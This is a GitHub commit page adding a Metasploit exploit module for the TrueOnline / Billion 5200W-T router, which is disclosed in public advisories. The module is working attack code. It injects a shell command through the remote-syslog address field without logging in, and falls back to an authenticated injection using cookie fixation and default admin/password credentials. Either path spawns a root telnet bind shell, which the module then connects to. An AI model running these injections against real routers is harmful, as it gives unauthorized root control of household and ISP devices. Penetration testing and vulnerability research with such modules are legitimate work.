Skip to content

Commit 2ff170a

Browse files
committed
Land rapid7#7820, Exploit for TrueOnline Billion 5200W-T
2 parents f167358 + 2dca53e commit 2ff170a

File tree

1 file changed

+118
-0
lines changed

1 file changed

+118
-0
lines changed
Lines changed: 118 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,118 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'TrueOnline / Billion 5200W-T Router Unauthenticated Command Injection',
16+
'Description' => %q{
17+
TrueOnline is a major ISP in Thailand, and it distributes a customised version of
18+
the Billion 5200W-T router. This customised version has at least two command injection
19+
vulnerabilities, one authenticated and one unauthenticated, on different firmware versions.
20+
This module will attempt to exploit the unauthenticated injection first, and if that fails,
21+
it will attempt to exploit the authenticated injection.
22+
This module was tested in an emulated environment, as the author doesn't have access to the
23+
Thai router any more. Any feedback should be sent directly to the module's author, as well as
24+
to the Metasploit project.
25+
There are other language strings in the firmware, so it is likely that this firmware is not
26+
only distributed in Thailand. Other Billion 5200W-T in other countries might be vulnerable too.
27+
},
28+
'Author' =>
29+
[
30+
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'Platform' => 'unix',
34+
'References' =>
35+
[
36+
['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'],
37+
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],
38+
['URL', 'https://blogs.securiteam.com/index.php/archives/2910']
39+
],
40+
'Targets' =>
41+
[
42+
[ 'Billion 5200W-T', {}],
43+
],
44+
'Privileged' => true,
45+
'Arch' => ARCH_CMD,
46+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
47+
'DisclosureDate' => 'Dec 26 2016',
48+
'DefaultTarget' => 0))
49+
register_options(
50+
[
51+
Opt::RPORT(80),
52+
OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9090]),
53+
OptString.new('HttpUsername', [true, 'Username for the web interface (using default credentials)', 'admin']),
54+
OptString.new('HttpPassword', [true, 'Password for the web interface (using default credentials)', 'password']),
55+
], self.class)
56+
end
57+
58+
# no reliable way to check if this router is vulnerable
59+
60+
def exploit
61+
command = "utelnetd -l /bin/sh -p #{datastore['TelnetPort']} -d"
62+
63+
print_status("#{peer} - Attempting to exploit unauthenticated injection")
64+
res = send_request_cgi({
65+
'uri' => '/cgi-bin/adv_remotelog.asp',
66+
'method' => 'POST',
67+
'vars_post' => {
68+
'RemotelogEnable' => '1',
69+
'syslogServerAddr' => "1.1.1.1;#{command};#",
70+
'serverPort' => '514'
71+
}
72+
})
73+
74+
if res && res.code == 404
75+
print_error("#{peer} - Well that failed, trying the authenticated one...")
76+
77+
cookie = "SESSIONID=#{rand_text_alpha_lower(8)}"
78+
79+
# "fixate" the cookie we want - just send a GET request first, we will get a 403 but on the next
80+
# request the router will accept our cookie as valid
81+
send_request_raw({
82+
'uri' => '/',
83+
'method' => 'GET',
84+
'headers' => { 'Cookie' => cookie }
85+
})
86+
87+
sleep 2
88+
89+
body = "SaveTime=1&uiCurrentTime2=&uiCurrentTime1=&ToolsTimeSetFlag=0&uiRadioValue=0&uiClearPCSyncFlag=0&uiwPCdateMonth=0&uiwPCdateDay=&uiwPCdateYear=&uiwPCdateHour=&uiwPCdateMinute=&uiwPCdateSec=&uiCurTime=N%2FA+%28NTP+server+is+connecting%29&uiTimezoneType=0&uiViewSyncWith=0&uiPCdateMonth=1&uiPCdateDay=&uiPCdateYear=&uiPCdateHour=&uiPCdateMinute=&uiPCdateSec=&uiViewdateToolsTZ=GMT%2B07%3A00&uiViewdateDS=Disable&uiViewSNTPServer=\"%3b#{command.gsub(" ", "+")}%26%23&ntp2ServerFlag=N%2FA&ntp3ServerFlag=N%2FA"
90+
91+
# send_request_raw will send the HttpUsername and HttpPassword automatically if it finds a challenge
92+
send_request_raw({
93+
'uri' => '/cgi-bin/tools_time.asp',
94+
'method' => 'POST',
95+
'headers' => {
96+
'Content-Type' => 'application/x-www-form-urlencoded',
97+
'Cookie' => cookie
98+
},
99+
'data' => body
100+
})
101+
102+
sleep 3
103+
end
104+
105+
begin
106+
ctx = { 'Msf' => framework, 'MsfExploit' => self }
107+
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['TelnetPort'], 'Context' => ctx, 'Timeout' => 10 })
108+
if not sock.nil?
109+
print_good("#{peer} - Success, shell incoming!")
110+
return handler(sock)
111+
end
112+
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
113+
sock.close if sock
114+
end
115+
116+
fail_with(Failure::Unknown, "#{peer} - Failed to exploit router.")
117+
end
118+
end

0 commit comments

Comments
 (0)